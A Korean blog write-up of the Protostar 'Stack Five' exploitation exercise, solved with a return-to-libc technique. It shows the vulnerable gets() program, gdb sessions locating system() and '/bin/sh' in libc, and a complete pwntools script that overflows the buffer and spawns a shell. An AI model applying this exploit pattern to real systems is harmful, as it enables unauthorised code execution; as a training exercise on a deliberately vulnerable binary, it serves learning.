Security_RNRF
STACK FIVE - another 본문
Stack5 is a standard buffer overflow, this time introducing shellcode.
This level is at /opt/protostar/bin/stack5
Hints
- At this point in time, it might be easier to use someone elses shellcode
- If debugging the shellcode, use \xcc (int3) to stop the program executing and return to the debugger
- remove the int3s once your shellcode is done.
Link - https://exploit.education/protostar/stack-five/#source-code
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
이전 실습인 STACK-5을 다른 방식으로 접근하여 해결해본다. STACK-6을 풀기 위해서는 제약 조건이 있는데, 그러한 제약 조건을 해결해주기 위한 연습을 한다고 생각하면 된다.
이제부터 진행하는 실습들은 미리 준비해둔 압축된 파일을 이용한다. (64비트 환경에서 작업을 하다보니, 되지 않는 부분들도 존재하기 때문에 그러한 것들을 해결하기 위해서이다.)
bin.tar 파일의 압축을 풀어준 후, 해당 폴더에 들어가서 명령어를 실행시켜 설치해준다.
root@kali:~/Desktop# ls
bin bin.tar
root@kali:~/Desktop# cd ./bin
root@kali:~/Desktop/bin# apt-get install lib32z1
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following NEW packages will be installed:
lib32z1
0 upgraded, 1 newly installed, 0 to remove and 2274 not upgraded.
Need to get 93.1 kB of archives.
After this operation, 171 kB of additional disk space will be used.
Get:1 http://mirror.anigil.com/kali kali-rolling/main amd64 lib32z1 amd64 1:1.2.11.dfsg-4 [93.1 kB]
Fetched 93.1 kB in 1s (93.7 kB/s)
Selecting previously unselected package lib32z1.
(Reading database ... 374374 files and directories currently installed.)
Preparing to unpack .../lib32z1_1%3a1.2.11.dfsg-4_amd64.deb ...
Unpacking lib32z1 (1:1.2.11.dfsg-4) ...
Processing triggers for libc-bin (2.28-2) ...
Setting up lib32z1 (1:1.2.11.dfsg-4) ...
Processing triggers for libc-bin (2.28-2) ...
설치가 완료되면 실습을 진행하면 된다.
이전에 했던 실습 내용이기 때문에 어느정도 그대로 따라하면 쉽게 진행될 것이다.
이전과는 다른 방법은?
이번에는 "Return 2 Library"를 사용할 것이다. 이전 시간에는 스택으로 쉘코드를 보냈다면, 이번에는 라이브러리로 보낼 것이다.
이전에는 win() 함수를 라이브러리로 보냈는데, 사실 여기에는 PLT, GOT 등의 테이블이 있다. 그러한 테이블들에 시스템 함수에 대한 정보를 가지고 있다. 이러한 시스템 함수에 대한 위치를 PLT, GOT 등을 통해서 정보를 얻을 수 있다. 결론적으로 시스템 함수를 ret에 넣게 되면 ret가 시스템 함수를 실행할 것이다.
그리고 현재 프로그램의 경우 인자를 스택에 전달하는 개념과 같이 시스템도 스택에 값을 전달한다. 주의할 점은 보통 우리가 컴파일하는 방법은 64비트이기 때문에 레지스터에 넣고 실행한다. 하지만 여기서는 시스템 함수를 스택에 인자 값을 전달한다. 즉, 가리키는 스택의 영역에 "/bin/sh"을 넣어주면 끝이다.
추가적으로 주의할 점은 ret:system가 진입이 되는데, 들어갈 때 주의할 점은 시스템 함수가 실행될 때, 시스템 함수에 대한 리턴 주소가 등록된다. 일반적으로 콜을 하게 된다면. 즉, 시스템 함수가 모두 실행되고 나서 끝나면 밑에 등록된 ret로 리턴하게 된다. 그렇다고 시스템 함수가 끝나고 ret에 어디로 갈지를 정하지 않아도 되지만, 이 부분을 짚고 넘어가야 한다.
이유는?
인자 값이 시스템 함수 실행 후 돌아갈 ret 밑에 있게 되기 때문이다. 즉, ret는 빈공간으로 남겨두고 arg1 = /bin/sh 주소를 전달해줘야 한다. 즉, 밑에 등록된 ret는 비워둬야 한다.
여기서 또 다른 질문으로 프로그램에 "/bin/sh"에 대한 주소가 없을텐데 어떻게 하는가?
"/bin/sh"를 직접 넣어줘도 되지만, 굳이 그렇게 해주지 않아도 된다. 왜냐하면 메모리에 올라가는 동시에 "/bin/sh"이 같이 존재하게 된다. 즉, "/bin/sh"에 대한 포인터가 존재하기 때문에 굳이 신경쓰지 않아도 된다.
위에서 설명했던 두가지 사항에 대해 생각하고 파이썬 프로그램을 만들어본다.
주의할 점은 현재 압축해제한 프로그램들은 32비트이기 때문에 "p32" 함수를 써줘야 한다.
root@kali:~/Desktop/bin# file stack5
stack5: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.18, BuildID[sha1]=13b062326baa245b4c84616ccde1279c97723364, not stripped
system = p32()
dummy = p32(0xFFFFFFFF) - "0xFFFFFFFF" 쓰레기 값으로 채워준다. 위치를 맞춰주기 위한 방편이다.
bin_sh = p32()
offset = 76? - 이전 실습에서 pattern offset 값을 넣어주면 된다.
다음으로 system에 대한 위치를 구하기 위해서 GDB를 이용한다.
root@kali:~/Desktop/bin# gdb ./stack5
프로그램을 실행시켜줘야 메모리에 올라가기 때문에 실행을 먼저 시켜줘야 한다.
브레이크 포인트를 main에 걸어준 후, 실행시킨다.
gdb-peda$ b *main
Breakpoint 1 at 0x80483c4: file stack5/stack5.c, line 7.
gdb-peda$ run
[----------------------------------registers-----------------------------------]
EAX: 0xf7faadc8 --> 0xffffd36c --> 0xffffd510 ("SHELL=/bin/bash")
EBX: 0x0
ECX: 0x5c64ebe2
EDX: 0xffffd2f4 --> 0x0
ESI: 0xf7fa9000 --> 0x1d9d6c
EDI: 0xf7fa9000 --> 0x1d9d6c
EBP: 0x0
ESP: 0xffffd2cc --> 0xf7de9b41 (<__libc_start_main+241>: add esp,0x10)
EIP: 0x80483c4 (<main>: push ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x80483c1 <frame_dummy+33>: leave
0x80483c2 <frame_dummy+34>: ret
0x80483c3 <frame_dummy+35>: nop
=> 0x80483c4 <main>: push ebp
0x80483c5 <main+1>: mov ebp,esp
0x80483c7 <main+3>: and esp,0xfffffff0
0x80483ca <main+6>: sub esp,0x50
0x80483cd <main+9>: lea eax,[esp+0x10]
[------------------------------------stack-------------------------------------]
0000| 0xffffd2cc --> 0xf7de9b41 (<__libc_start_main+241>: add esp,0x10)
0004| 0xffffd2d0 --> 0x1
0008| 0xffffd2d4 --> 0xffffd364 --> 0xffffd4f7 ("/root/Desktop/bin/stack5")
0012| 0xffffd2d8 --> 0xffffd36c --> 0xffffd510 ("SHELL=/bin/bash")
0016| 0xffffd2dc --> 0xffffd2f4 --> 0x0
0020| 0xffffd2e0 --> 0x1
0024| 0xffffd2e4 --> 0x0
0028| 0xffffd2e8 --> 0xf7fa9000 --> 0x1d9d6c
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, main (
argc=<error reading variable: Unknown argument list address for `argc'.>, argv=<error reading variable: Unknown argument list address for `argv'.>)
at stack5/stack5.c:7
7 stack5/stack5.c: No such file or directory.
main 함수에 걸린 것을 확인할 수 있다. 그리고 system 함수를 찾아준다.
gdb-peda$ disas system
Dump of assembler code for function system:
0xf7e0d980 <+0>: call 0xf7f06d5d
0xf7e0d985 <+5>: add edx,0x19b67b
0xf7e0d98b <+11>: sub esp,0xc
0xf7e0d98e <+14>: mov eax,DWORD PTR [esp+0x10]
0xf7e0d992 <+18>: test eax,eax
0xf7e0d994 <+20>: je 0xf7e0d9a0 <system+32>
0xf7e0d996 <+22>: add esp,0xc
0xf7e0d999 <+25>: jmp 0xf7e0d480
0xf7e0d99e <+30>: xchg ax,ax
0xf7e0d9a0 <+32>: lea eax,[edx-0x5b54e]
0xf7e0d9a6 <+38>: call 0xf7e0d480
0xf7e0d9ab <+43>: test eax,eax
0xf7e0d9ad <+45>: sete al
0xf7e0d9b0 <+48>: add esp,0xc
0xf7e0d9b3 <+51>: movzx eax,al
0xf7e0d9b6 <+54>: ret
End of assembler dump.
또는
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xf7e0d980 <system>
확인 결과, "0xf7e0d980" 주소가 시스템 함수가 시작하는 주소이다.
해당 값을 system = p32(0xf7e0d980)에 넣어준다.
다음으로는 "bin_sh"에 대한 값을 구해준다.
"/bin/sh"의 경우 "find" 명령어를 통해서 메모리 상에 있는 string을 찾을 수 있다.
gdb-peda$ find '/bin/sh'
Searching for '/bin/sh' in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f4daaa ("/bin/sh")
확인 결과, "libc : 0xf7f4daaa" 값을 확인 할 수 있다.
해당 값을 bin_sh = p32(0xf7f4daaa)에 넣어준다.
주의할 점은 이전 실습과 마찬가지로 ASLR이 옵션이 꺼져 있어야 같은 위치에 올라가기 때문에 실수 없이 실행될 수 있다.
다음으로 위에서 차례대로 설계해 둔 값들로 payload를 작성해준다.
만약 실행이 안된다면, 이전 실습과 마찬가지로 Attach를 통해서 디버깅을 차례로 해봐야한다.
from pwn import *
system = p32(0xf7e0d980)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7f4daaa)
offset = 76
payload = 'A'*offset + system + dummy + bin_sh
p = process(['stack5'])
p.sendline(payload)
p.interactive()
쉘코드를 실행해본다.
root@kali:~/Desktop/bin# python stack5.py
[!] Could not find executable 'stack5' in $PATH, using './stack5' instead
[+] Starting local process './stack5': pid 16078
[*] Switching to interactive mode
$ ls
core format1 heap1 net2 stack1 stack5.py
final0 format2 heap2 net3 stack2 stack6
final1 format3 heap3 net4 stack3 stack7
final2 format4 net0 peda-session-stack5.txt stack4 uaf
format0 heap0 net1 stack0 stack5 uaf.c
리눅스 명령어가 잘 실행되는 것을 확인할 수 있다.
정리해보자면, 이전 실습에서는 쉘코드를 스택에 직접 삽입한 것이고, 이번 실습에서는 ret2lib를 통해서 쉘코드를 굳이 삽입하지 않고 안에 있는 라이브러리를 통해서 실행하는 방법을 익혔다.
'Reversing > Protostar' 카테고리의 다른 글
STACK SEVEN (0) | 2022.07.14 |
---|---|
STACK SIX (0) | 2022.07.12 |
STACK FIVE (0) | 2022.07.10 |
STACK FOUR (0) | 2022.07.07 |
STACK THREE (0) | 2022.07.05 |